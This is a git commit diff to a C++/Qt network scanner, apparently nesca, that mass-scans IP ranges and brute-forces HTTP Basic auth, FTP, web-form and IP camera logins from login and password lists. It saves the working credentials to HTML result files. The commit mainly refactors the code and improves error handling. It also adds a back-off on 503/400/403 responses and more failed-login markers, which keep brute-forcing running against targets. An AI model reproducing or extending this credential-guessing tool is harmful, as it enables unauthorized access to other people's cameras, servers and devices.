not-a-single-fcuk-version

This commit is contained in:
cora32 2015-03-22 03:43:15 +03:00
parent 90b6c317e9
commit 2b5c7fc0aa
30 changed files with 562 additions and 627 deletions

1
.gitignore vendored
View File

@ -31,3 +31,4 @@ tags.txt
version version
lisca.cpp lisca.cpp
main - копия.cpp main - копия.cpp
result_files-*

View File

@ -1,13 +1,30 @@
#include <BasicAuth.h> #include "BasicAuth.h"
bool BA::checkOutput(const string *buffer) { bool BA::checkOutput(const string *buffer, const char *ip, const int port) {
if(Utils::ci_find_substr(*buffer, "200 ok") != -1 || if((Utils::ci_find_substr(*buffer, "200 ok") != -1 ||
Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 || Utils::ci_find_substr(*buffer, "http/1.0 200") != -1 ||
Utils::ci_find_substr(*buffer, "http/1.1 200") != -1 Utils::ci_find_substr(*buffer, "http/1.1 200") != -1)
&& Utils::ci_find_substr(*buffer, "http/1.1 401 ") == -1
&& Utils::ci_find_substr(*buffer, "http/1.0 401 ") == -1
&& Utils::ci_find_substr(*buffer, "<statusValue>401</statusValue>") == -1
&& Utils::ci_find_substr(*buffer, "<statusString>Unauthorized</statusString>") == -1
&& Utils::ci_find_substr(*buffer, "íåïðàâèëüíû") == -1
&& Utils::ci_find_substr(*buffer, "Ð<EFBFBD>еправильнÑ") == -1
) { ) {
return true; return true;
} }
else if (Utils::ci_find_substr(*buffer, "503 service unavailable") != -1
|| Utils::ci_find_substr(*buffer, "http/1.1 503") != -1
|| Utils::ci_find_substr(*buffer, "http/1.0 503") != -1
|| Utils::ci_find_substr(*buffer, "400 BAD_REQUEST") != -1
|| Utils::ci_find_substr(*buffer, "400 bad request") != -1
|| Utils::ci_find_substr(*buffer, "403 Forbidden") != -1
)
{
stt->doEmition_BARedData("[.] 503/400/403 - Waiting 30sec (" + QString(ip) + ":" + QString::number(port) + ")");
Sleep(30000);
}
return false; return false;
} }
@ -28,15 +45,15 @@ lopaStr BA::_BABrute(const char *ip, const int port) {
lpString = string(loginLst[i]) + ":" + string(passLst[j]); lpString = string(loginLst[i]) + ":" + string(passLst[j]);
Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString); if (Connector::nConnect(ip, port, &buffer, NULL, NULL, &lpString) == -2) return lps;
if(checkOutput(&buffer)) { if(checkOutput(&buffer, ip, port)) {
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
return lps; return lps;
}; };
Sleep(70); Sleep(100);
} }
} }

View File

@ -1,15 +1,15 @@
#ifndef BASICAUTH_H #ifndef BASICAUTH_H
#define BASICAUTH_H #define BASICAUTH_H
#include <Connector.h> #include "Connector.h"
#include <BruteUtils.h> #include "BruteUtils.h"
#include <Utils.h> #include "Utils.h"
#include <externData.h> #include "externData.h"
#include <mainResources.h> #include "mainResources.h"
class BA : BruteUtils{ class BA {
private: private:
static bool checkOutput(const string *buffer); static bool checkOutput(const string *buffer, const char *ip, const int port);
static lopaStr _BABrute(const char *ip, const int port); static lopaStr _BABrute(const char *ip, const int port);
public: public:

View File

@ -1,9 +1,10 @@
#include <BruteUtils.h> #include "BruteUtils.h"
#include "STh.h" #include "STh.h"
#include "externData.h" #include "externData.h"
void BruteUtils::BConInc() void BruteUtils::BConInc()
{ {
++BA;
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
__asm __asm
{ {
@ -31,5 +32,4 @@ void BruteUtils::BConDec()
} }
stt->doEmitionChangeBA(QString::number(BrutingThrds)); stt->doEmitionChangeBA(QString::number(BrutingThrds));
} }

View File

@ -3,8 +3,8 @@
#include "STh.h" #include "STh.h"
#include "externData.h" #include "externData.h"
#include "externFunctions.h" #include "externFunctions.h"
#include <Connector.h> #include "Connector.h"
#include <Utils.h> #include "Utils.h"
void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest) void getSubStrEx(const char *src, char *startStr, char *endStr, char *dest, int szDest)
{ {

View File

@ -1,7 +1,7 @@
#include <Connector.h> #include "Connector.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
int _pingMyTarget(char *ip) int _pingMyTarget(const char *ip)
{ {
HANDLE hIcmpFile; HANDLE hIcmpFile;
unsigned long ipaddr = INADDR_NONE; unsigned long ipaddr = INADDR_NONE;
@ -231,8 +231,8 @@ int my_trace(CURL *handle, curl_infotype type,
void *userp) void *userp)
{ {
if (type == CURLINFO_HEADER_OUT) { if (type == CURLINFO_HEADER_OUT) {
data[size] = '\0';
Activity += strlen(data); Activity += strlen(data);
data[strstr(data, "\r\n\r\n") - data] = '\0';
stt->doEmitionAddOutData(QString(data)); stt->doEmitionAddOutData(QString(data));
} }
@ -284,7 +284,6 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut); curl_easy_setopt(curl, CURLOPT_TIMEOUT, gTimeOut);
if(postData != NULL) { if(postData != NULL) {
curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
}; };
@ -302,25 +301,57 @@ int Connector::nConnect(const char* ip, const int port, std::string *buffer,
if (lpString != NULL) { if (lpString != NULL) {
curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY); curl_easy_setopt(curl, CURLOPT_HTTPAUTH, (long)CURLAUTH_ANY);
//curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE); curl_easy_setopt(curl, CURLOPT_FTPLISTONLY, TRUE);
curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str()); curl_easy_setopt(curl, CURLOPT_USERPWD, lpString->c_str());
}; };
//if(curl_easy_perform(curl) == CURLE_OK) { int res = curl_easy_perform(curl);
if(1) {
curl_easy_cleanup(curl); curl_easy_cleanup(curl);
if (res == CURLE_OK ||
(port == 21 && buffer->size() > 0)) {
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += buffer->size();
return buffer->size();
} else { } else {
curl_easy_cleanup(curl); if (res != 28 &&
res != 7 &&
res != 67 &&
res != 52 &&
res != 55 &&
res != 56) {
if (res == 5) {
stt->doEmitionRedFoundData("Couldn't resolve proxy. The given proxy host could not be resolved. ");
return -2;
}
else if (res == 13) {
stt->doEmitionFoundData("Unknown ftp: (" + QString::number(res) + ") " +
QString(ip) + ":" + QString::number(port));
return -2;
} else if (res == 8) {
stt->doEmitionFoundData("Strange ftp reply: (" +
QString::number(res) + ") " + QString(ip) +
":" + QString::number(port));
return -2;
}
else if (res == 6) {
stt->doEmitionFoundData("Couldn't resolve host. (" +
QString::number(res) + ") " + QString(ip) +
":" + QString::number(port));
return -2;
}
else stt->doEmitionRedFoundData("CURL error: (" + QString::number(res) + ") " +
QString(ip) + ":" + QString::number(port));
}
++offlines;
return -1; return -1;
} }
} else { } else {
stt->doEmitionRedFoundData("Curl error."); stt->doEmitionRedFoundData("Curl error.");
return -1; return -1;
}; };
if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str())); if (MapWidgetOpened) stt->doEmitionAddIncData(QString(ip), QString(buffer->c_str()));
Activity += buffer->size(); Activity += buffer->size();
return buffer->size(); return buffer->size();
} }
@ -341,14 +372,14 @@ int Connector::_ConnectToPort(string ip, int port, char *hl)
if (port == 22) size = _SSHLobby(ip.c_str(), port, &buffer); if (port == 22) size = _SSHLobby(ip.c_str(), port, &buffer);
else size = nConnect(ip.c_str(), port, &buffer); else size = nConnect(ip.c_str(), port, &buffer);
// if(size > 0) if(size > 0)
// { {
// ++Alive; ++Alive;
// ++found; ++found;
// stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found)); stt->doEmitionChangeParsed(QString::number(saved) + "/" + QString::number(found));
// Lexems lx; Lexems lx;
// lx._filler(port, buffer.c_str(), ip, size, &lx, hl); lx._filler(port, buffer.c_str(), (char*)ip.c_str(), size, &lx, hl);
// }; };
return 0; return 0;
} }

View File

@ -1,9 +1,9 @@
#ifndef CONNECTOR_H #ifndef CONNECTOR_H
#define CONNECTOR_H #define CONNECTOR_H
#include <externData.h> #include "externData.h"
#include <Utils.h> #include "Utils.h"
#include <BruteUtils.h> #include "BruteUtils.h"
#include "STh.h" #include "STh.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
@ -12,7 +12,7 @@
#pragma comment(lib, "iphlpapi.lib") #pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib,"curllib.lib") #pragma comment(lib,"curllib.lib")
#endif #endif
#include <mainResources.h> #include "mainResources.h"
class Connector { class Connector {

View File

@ -1,10 +1,11 @@
#include "DrawerTh_ME2Scanner.h" #include "DrawerTh_ME2Scanner.h"
#include "STh.h" #include "STh.h"
#include "externData.h" #include "externData.h"
#include <WebformWorker.h> #include "WebformWorker.h"
QList<QGraphicsPathItem*> DrawerTh_ME2Scanner::itmList; QList<QGraphicsPathItem*> DrawerTh_ME2Scanner::itmList;
QVector<QPointF> DrawerTh_ME2Scanner::polyVect; QVector<QPointF> DrawerTh_ME2Scanner::polyVect;
int DrawerTh_ME2Scanner::vecSize;
void DrawerTh_ME2Scanner::doEmitDrawTextPlacers() void DrawerTh_ME2Scanner::doEmitDrawTextPlacers()
{ {
@ -16,9 +17,9 @@ void DrawerTh_ME2Scanner::doEmitionAddPolyLine()
emit dtME2->sAddPolyLine(); emit dtME2->sAddPolyLine();
} }
void MakePolygonLine(int gWidth) int MakePolygonLine(int gWidth)
{ {
DrawerTh_ME2Scanner::polyVect.clear(); while (!DrawerTh_ME2Scanner::polyVect.empty()) Sleep(100);
int x = 0; int x = 0;
int tx = 0; int tx = 0;
int xtx = 0; int xtx = 0;
@ -127,6 +128,7 @@ void MakePolygonLine(int gWidth)
Susp = 0; Susp = 0;
DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS)); DrawerTh_ME2Scanner::polyVect.append(QPointF(gWidth, ME2YPOS));
return DrawerTh_ME2Scanner::polyVect.size();
} }
void DrawerTh_ME2Scanner::run() void DrawerTh_ME2Scanner::run()
@ -139,7 +141,7 @@ void DrawerTh_ME2Scanner::run()
if (widgetIsHidden == false && tray->isVisible() == false) if (widgetIsHidden == false && tray->isVisible() == false)
{ {
if (itmList.count() < 39) { if (itmList.count() < 39) {
MakePolygonLine(gWidth); vecSize = MakePolygonLine(gWidth);
dtME2->doEmitionAddPolyLine(); dtME2->doEmitionAddPolyLine();
} }
} }

View File

@ -10,6 +10,7 @@ class DrawerTh_ME2Scanner : public QThread
Q_OBJECT Q_OBJECT
public: public:
static int vecSize;
static QList<QGraphicsPathItem*> itmList; static QList<QGraphicsPathItem*> itmList;
static QVector<QPointF> polyVect; static QVector<QPointF> polyVect;

View File

@ -1,8 +1,6 @@
#include "FTPAuth.h" #include "FTPAuth.h"
bool FTPA::checkOutput(const string *buffer) { bool FTPA::checkOutput(const string *buffer) {
//Login or password incorrect!
if(Utils::ci_find_substr(*buffer, "230") != -1) { if(Utils::ci_find_substr(*buffer, "230") != -1) {
return true; return true;
@ -11,7 +9,7 @@ bool FTPA::checkOutput(const string *buffer) {
return false; return false;
} }
lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) { lopaStr FTPA::_FTPBrute(const char *ip, const int port, PathStr *ps) {
string buffer; string buffer;
string lpString; string lpString;
lopaStr lps; lopaStr lps;
@ -20,6 +18,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) {
ZeroMemory(lps.other, sizeof(lps.other)); ZeroMemory(lps.other, sizeof(lps.other));
strcpy(lps.login, "UNKNOWN"); strcpy(lps.login, "UNKNOWN");
int res = 0;
for(int i = 0; i < MaxLogin; ++i) for(int i = 0; i < MaxLogin; ++i)
{ {
@ -33,11 +32,13 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) {
lpString = string(loginLst[i]) + ":" + string(passLst[j]); lpString = string(loginLst[i]) + ":" + string(passLst[j]);
Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString); res = Connector::nConnect((string("ftp://") + string(ip)).c_str(), port, &buffer, NULL, NULL, &lpString);
if (res == -2) return lps;
if(checkOutput(&buffer)) { else if (res != -1) {
if (!globalScanFlag) return lps;
strcpy(lps.login, loginLst[i]); strcpy(lps.login, loginLst[i]);
strcpy(lps.pass, passLst[j]); strcpy(lps.pass, passLst[j]);
ps->directoryCount = std::count(buffer.begin(), buffer.end(), '\n');
return lps; return lps;
}; };
@ -48,7 +49,7 @@ lopaStr FTPA::_FTPBrute(const char *ip, const int port, const PathStr *ps) {
return lps; return lps;
} }
lopaStr FTPA::_FTPLobby(const char *ip, const int port, const PathStr *ps) { lopaStr FTPA::_FTPLobby(const char *ip, const int port, PathStr *ps) {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);
BruteUtils::BConInc(); BruteUtils::BConInc();

View File

@ -1,19 +1,19 @@
#ifndef FTPAUTH_H #ifndef FTPAUTH_H
#define FTPAUTH_H #define FTPAUTH_H
#include <Connector.h> #include "Connector.h"
#include <BruteUtils.h> #include "BruteUtils.h"
#include <Utils.h> #include "Utils.h"
#include <externData.h> #include "externData.h"
#include <mainResources.h> #include "mainResources.h"
class FTPA { class FTPA {
private: private:
static bool checkOutput(const string *buffer); static bool checkOutput(const string *buffer);
static lopaStr _FTPBrute(const char *ip, const int port, const PathStr *ps); static lopaStr _FTPBrute(const char *ip, const int port, PathStr *ps);
public: public:
static lopaStr _FTPLobby(const char *ip, const int port, const PathStr *ps); static lopaStr _FTPLobby(const char *ip, const int port, PathStr *ps);
}; };
#endif // FTPAUTH_H #endif // FTPAUTH_H

View File

@ -1,4 +1,4 @@
#include <Threader.h> #include "Threader.h"
int Threader::threadId = 0; int Threader::threadId = 0;
std::mutex Threader::m; std::mutex Threader::m;
@ -8,6 +8,8 @@ std::queue<std::string> Threader::ipQueue;
void Threader::fireThread(std::string ip, void *func(void)) { void Threader::fireThread(std::string ip, void *func(void)) {
std::unique_lock<std::mutex> lk(m);
ipQueue.push(ip); ipQueue.push(ip);
if(threadId < gThreads) { if(threadId < gThreads) {
++threadId; ++threadId;
@ -15,15 +17,14 @@ void Threader::fireThread(std::string ip, void *func(void)) {
workerThread.detach(); workerThread.detach();
} }
std::unique_lock<std::mutex> lk(m);
ready = true; ready = true;
Threader::cv.notify_one(); Threader::cv.notify_one();
Sleep(gThreadDelay); Sleep(gThreadDelay);
} }
//std::queue<std::string> empty;
void Threader::cleanUp() { void Threader::cleanUp() {
//std::swap( ipQueue, empty ); std::unique_lock<std::mutex> lk(m);
ipQueue = {}; lk.unlock();
lk.release();
threadId = 0; threadId = 0;
} }

View File

@ -1,8 +1,8 @@
#ifndef THREADER_H #ifndef THREADER_H
#define THREADER_H #define THREADER_H
#include <mainResources.h> #include "mainResources.h"
#include <externData.h> #include "externData.h"
#include <thread> #include <thread>
#include <mutex> #include <mutex>
#include <condition_variable> #include <condition_variable>

View File

@ -1,4 +1,4 @@
#include <Utils.h> #include "Utils.h"
char *getSystemProxy() { char *getSystemProxy() {
return ""; return "";

View File

@ -1,4 +1,4 @@
#include <WebformWorker.h> #include "WebformWorker.h"
bool WFClass::active = false; bool WFClass::active = false;
@ -49,7 +49,7 @@ lopaStr WFClass::parseResponse(const char *ip,
else return result; else return result;
} }
lopaStr WFClass::doGetCheck(char *ip, lopaStr WFClass::doGetCheck(const char *ip,
int port, int port,
char *actionVal, char *actionVal,
char *userVal, char *userVal,
@ -92,7 +92,7 @@ lopaStr WFClass::doGetCheck(char *ip,
return result; return result;
} }
lopaStr WFClass::doPostCheck(char *ip, lopaStr WFClass::doPostCheck(const char *ip,
int port, int port,
char *actionVal, char *actionVal,
char *userVal, char *userVal,
@ -137,7 +137,7 @@ lopaStr WFClass::doPostCheck(char *ip,
return result; return result;
} }
lopaStr WFClass::_WFBrute( char *ip, lopaStr WFClass::_WFBrute( const char *ip,
int port, int port,
char *methodVal, char *methodVal,
char *actionVal, char *actionVal,

View File

@ -1,19 +1,19 @@
#ifndef WEBFORMWORKER_H #ifndef WEBFORMWORKER_H
#define WEBFORMWORKER_H #define WEBFORMWORKER_H
#include <Utils.h> #include "Utils.h"
#include "Connector.h" #include "Connector.h"
#include <mainResources.h> #include "mainResources.h"
#include <externFunctions.h> #include "externFunctions.h"
#include <BruteUtils.h> #include "BruteUtils.h"
#include "STh.h" #include "STh.h"
class WFClass : BruteUtils { class WFClass : BruteUtils {
private: static bool active; private: static bool active;
int passCounter = 1; int passCounter = 1;
lopaStr doGetCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr doGetCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr doPostCheck(char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal); lopaStr doPostCheck(const char *ip, int port, char *actionVal, char *userVal, char *passVal, char *formVal);
lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal, lopaStr parseResponse(const char *ip, const int port, const std::string *buffer, const char* formVal,
const int *iIndex, const int *iIndex,
const int *jIndex); const int *jIndex);
@ -35,7 +35,7 @@ public:
BConDec(); BConDec();
} }
lopaStr _WFBrute(char *ip, lopaStr _WFBrute(const char *ip,
int port, int port,
char *methodVal, char *methodVal,
char *actionVal, char *actionVal,

View File

@ -5,9 +5,9 @@
#include "mainResources.h" #include "mainResources.h"
#include "externFunctions.h" #include "externFunctions.h"
#include "externData.h" #include "externData.h"
#include <openssl/err.h> #include "openssl/err.h"
#include <Utils.h> #include "Utils.h"
#include <BruteUtils.h> #include "BruteUtils.h"
#if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__) #if defined(WIN32) || defined(_WIN32) || defined(__WIN32) && !defined(__CYGWIN__)
#include <iphlpapi.h> #include <iphlpapi.h>
@ -334,7 +334,7 @@ char *_makeDigestResponse(
return (char*)responseMD5; return (char*)responseMD5;
} }
int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int passCounter, char *type, std::vector<char*> negVector) int _webLoginSeq(char *request, char *login, char *pass, const char *ip, int port, int passCounter, char *type, std::vector<char*> negVector)
{ {
char recvBuff[256] = {0}; char recvBuff[256] = {0};
char recvBuff2[4096] = {0}; char recvBuff2[4096] = {0};
@ -427,7 +427,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
return 0; return 0;
} }
lopaStr _IPCameraBrute(char *ip, int port, char *SPEC) lopaStr _IPCameraBrute(const char *ip, int port, char *SPEC)
{ {
lopaStr lps; lopaStr lps;
ZeroMemory(lps.login, sizeof(lps.login)); ZeroMemory(lps.login, sizeof(lps.login));
@ -486,6 +486,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
negVector.push_back("Имя или пароль неверные!"); negVector.push_back("Имя или пароль неверные!");
negVector.push_back("Возврат"); negVector.push_back("Возврат");
negVector.push_back("HTTP/1.0 302 Found"); negVector.push_back("HTTP/1.0 302 Found");
negVector.push_back("is incorrect");
} }
else else
{ {
@ -726,7 +727,7 @@ lopaStr _IPCameraBrute(char *ip, int port, char *SPEC)
return lps; return lps;
} }
lopaStr _IPCameraBLobby(char *ip, int port, char *SPEC) lopaStr _IPCameraBLobby(const char *ip, int port, char *SPEC)
{ {
while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000); while(BrutingThrds >= gMaxBrutingThreads) Sleep(1000);

View File

@ -184,7 +184,7 @@ char *GetCodePage(const char *str)
}; };
} }
int globalSearchNeg(const char *buffcpy, char *ip, int port) int globalSearchNeg(const char *buffcpy, const char *ip, int port)
{ {
char negWord[256] = {0}; char negWord[256] = {0};
for(int i = 0; i < GlobalNegativeSize; ++i) for(int i = 0; i < GlobalNegativeSize; ++i)
@ -245,7 +245,7 @@ int globalSearchPrnt(const char *buffcpy)
return 0; return 0;
} }
int sharedDetector(char * ip, int port, const char *buffcpy) { int sharedDetector(const char * ip, int port, const char *buffcpy) {
if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL if(strstr(buffcpy, "401 authorization") != NULL || strstr(buffcpy, "401 unauthorized") != NULL
|| (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL ) || (strstr(buffcpy, "www-authenticate") != NULL && strstr(buffcpy, "401 ") != NULL )
@ -322,7 +322,7 @@ int sharedDetector(char * ip, int port, const char *buffcpy) {
if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL if((strstr(buffcpy, "camera web server") != NULL || strstr(buffcpy, "webcamxp 5") != NULL
|| strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL || strstr(buffcpy, "ip box camera") != NULL || strstr(buffcpy, "snaff") != NULL
|| strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL || strstr(buffcpy, "hfs /") != NULL || strstr(buffcpy, "httpfileserver") != NULL
|| strstr(buffcpy, "network camera") != NULL || strstr(buffcpy, "network camera") != NULL || strstr(buffcpy, "index of") != NULL
|| strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL || strstr(buffcpy, "$lock extended") != NULL || strstr(buffcpy, "ip camera") != NULL
|| strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL || strstr(buffcpy, "/viewer/video.jpg") != NULL || strstr(buffcpy, "smart ip device") != NULL
|| strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL || strstr(buffcpy, "sanpshot_icon") != NULL || strstr(buffcpy, "snapshot_icon") != NULL
@ -342,7 +342,7 @@ int sharedDetector(char * ip, int port, const char *buffcpy) {
} }
// 500 < 1600 // 500 < 1600
int _mainFinderFirst(const char *buffcpy, int f, int port, char *ip) int _mainFinderFirst(const char *buffcpy, int f, int port, const char *ip)
{ {
int flag = sharedDetector(ip, port, buffcpy); int flag = sharedDetector(ip, port, buffcpy);
if(flag != -2) return flag; if(flag != -2) return flag;
@ -353,7 +353,7 @@ int _mainFinderFirst(const char *buffcpy, int f, int port, char *ip)
} }
//> 1600 //> 1600
int _mainFinderSecond(const char *buffcpy, int port, char *ip) int _mainFinderSecond(const char *buffcpy, int port, const char *ip)
{ {
int flag = sharedDetector(ip, port, buffcpy); int flag = sharedDetector(ip, port, buffcpy);
if(flag != -2) return flag; if(flag != -2) return flag;
@ -361,7 +361,7 @@ int _mainFinderSecond(const char *buffcpy, int port, char *ip)
return 3; //Suspicious return 3; //Suspicious
} }
int ContentFilter(const char *buff, int port, char *ip, char *cp) int ContentFilter(const char *buff, int port, const char *ip, char *cp)
{ {
if(buff != NULL) if(buff != NULL)
{ {
@ -406,7 +406,7 @@ int ContentFilter(const char *buff, int port, char *ip, char *cp)
else return -1; else return -1;
} }
void fillGlobalLogData(char *ip, char *hostname, char *port, const char *sz, char *title, void fillGlobalLogData(const char *ip, char *hostname, char *port, const char *sz, char *title,
const char *login, const char *pass, char *comment, char *cdpg, char *clss) const char *login, const char *pass, char *comment, char *cdpg, char *clss)
{ {
if(trackerOK == true) if(trackerOK == true)
@ -456,15 +456,15 @@ int __checkFileExistence(int flag)
{ {
char fileName[64] = {0}; char fileName[64] = {0};
if(flag == 666 || flag == 350) strcpy(fileName, "./"RESULT_DIR_NAME"/STRANGE_ERROR.html"); if(flag == 666 || flag == 350) strcpy(fileName, RESULT_DIR_NAME"/STRANGE_ERROR.html");
else if(flag == -22) strcpy(fileName, "./"RESULT_DIR_NAME"/ssh.html"); else if(flag == -22) strcpy(fileName, RESULT_DIR_NAME"/ssh.html");
else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, "./"RESULT_DIR_NAME"/strange.html"); else if(flag == 0 || flag == 15 || flag == -10) strcpy(fileName, RESULT_DIR_NAME"/strange.html");
else if(flag == 3) strcpy(fileName, "./"RESULT_DIR_NAME"/other.html"); else if(flag == 3) strcpy(fileName, RESULT_DIR_NAME"/other.html");
else if(flag == 7) strcpy(fileName, "./"RESULT_DIR_NAME"/low_loads.html"); else if(flag == 7) strcpy(fileName, RESULT_DIR_NAME"/low_loads.html");
else if(flag == 10) strcpy(fileName, "./"RESULT_DIR_NAME"/LoginForms.html"); else if(flag == 10) strcpy(fileName, RESULT_DIR_NAME"/LoginForms.html");
else if(flag == 16) strcpy(fileName, "./"RESULT_DIR_NAME"/FTP.html"); else if(flag == 16) strcpy(fileName, RESULT_DIR_NAME"/FTP.html");
else if(flag >= 17 || flag == 11 || flag == 12 else if(flag >= 17 || flag == 11 || flag == 12
|| flag == 13 || flag == 14 || flag == 1) strcpy(fileName, "./"RESULT_DIR_NAME"/Basicauth.html"); || flag == 13 || flag == 14 || flag == 1) strcpy(fileName, RESULT_DIR_NAME"/Basicauth.html");
FILE *f = fopen(fileName, "r"); FILE *f = fopen(fileName, "r");
if(f == NULL) return true; if(f == NULL) return true;
@ -489,43 +489,44 @@ char topBuff[1024] = {"<div id=\"tit\"><a href=\"strange.html\">.strange</a> <a
void fputsf(char *text, int flag, char *msg) void fputsf(char *text, int flag, char *msg)
{ {
FILE *file = NULL; FILE *file = NULL;
char wew[256] = {0};
if(flag == 0 || flag == 15 || flag == -10) if(flag == 0 || flag == 15 || flag == -10)
{ {
if(ftsAnom) ftsAnom = __checkFileExistence(flag); if(ftsAnom) ftsAnom = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/strange.html", "a"); file = fopen(RESULT_DIR_NAME"/strange.html", "a");
} }
else if(flag == 3) else if(flag == 3)
{ {
if(ftsOther) ftsOther = __checkFileExistence(flag); if(ftsOther) ftsOther = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/other.html", "a"); file = fopen(RESULT_DIR_NAME"/other.html", "a");
} }
else if(flag == -22) else if(flag == -22)
{ {
if(ftsSSH) ftsSSH = __checkFileExistence(flag); if(ftsSSH) ftsSSH = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/SSH.html", "a"); file = fopen(RESULT_DIR_NAME"/SSH.html", "a");
} }
else if(flag == 7) else if(flag == 7)
{ {
if(ftsLL) ftsLL = __checkFileExistence(flag); if(ftsLL) ftsLL = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/low_loads.html", "a"); file = fopen(RESULT_DIR_NAME"/low_loads.html", "a");
} }
else if(flag == 10) else if(flag == 10)
{ {
if(ftsLF) ftsLF = __checkFileExistence(flag); if(ftsLF) ftsLF = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/LoginForms.html", "a"); file = fopen(RESULT_DIR_NAME"/LoginForms.html", "a");
} }
else if(flag == 16) else if(flag == 16)
{ {
if(ftsFTP) ftsFTP = __checkFileExistence(flag); if(ftsFTP) ftsFTP = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/FTP.html", "a"); file = fopen(RESULT_DIR_NAME"/FTP.html", "a");
} }
else if(flag >= 17 || flag == 11 || flag == 12 else if(flag >= 17 || flag == 11 || flag == 12
|| flag == 13 || flag == 14 || flag == 1 || flag == 13 || flag == 14 || flag == 1
) )
{ {
if(ftsBA) ftsBA = __checkFileExistence(flag); if(ftsBA) ftsBA = __checkFileExistence(flag);
file = fopen("./"RESULT_DIR_NAME"/Basicauth.html", "a"); file = fopen(RESULT_DIR_NAME"/Basicauth.html", "a");
} }
else else
{ {
@ -675,27 +676,13 @@ void fputsf(char *text, int flag, char *msg)
}; };
} }
void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *hl, char *cp) void putInFile(int flag, const char *ip, char *port, int recd, char *finalstr, char *hl, char *cp)
{ {
char log[4096] = {0}, msg[512] = {0}; char log[4096] = {0}, msg[512] = {0};
if(flag == 0 || flag == 15 || flag == -10) strcpy(msg, "[A]:");
else if(flag == 3) strcpy(msg, "[S]:");
else if(flag == 7) strcpy(msg, "[LL]:");
else if(flag == 2) strcpy(msg, "[P]:");
else if(flag == 666 || flag == 350) strcpy(msg, "[Strange Error]:");
else if(flag == 10) strcpy(msg, "[LF]:");
QTextCodec *codec; QTextCodec *codec;
strcat(msg, "<a href=\"http://"); sprintf(msg, "<a href=\"http://%s:%s/\"><span style=\"color: #a1a1a1;\">%s:%s</span></a>",
strcat(msg, ip); ip, port, ip, port);
strcat(msg, ":");
strcat(msg, port);
strcat(msg, "/\"><span style=\"color: #a1a1a1;\">");
strcat(msg, ip);
strcat(msg, ":");
strcat(msg, port);
strcat(msg, "</span></a>");
QString resMes(msg); QString resMes(msg);
QString strf; QString strf;
@ -715,7 +702,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
strf = codec->toUnicode(finalstr); strf = codec->toUnicode(finalstr);
} }
else strf = QString(finalstr); else strf = QString(finalstr);
if(flag != 6 && flag != 5 && flag != 4 && flag != 666 && flag != 350)
if(flag != 6 && flag != 5 && flag != 4)
{ {
strcat(msg, " <font color=\"#0084ff\">: </font><font color=\"#ff9600\">"); strcat(msg, " <font color=\"#0084ff\">: </font><font color=\"#ff9600\">");
int sz = strf.size(); int sz = strf.size();
@ -726,31 +714,8 @@ void putInFile(int flag, char *ip, char *port, int recd, char *finalstr, char *h
stt->doEmitionFoundData(resMes); stt->doEmitionFoundData(resMes);
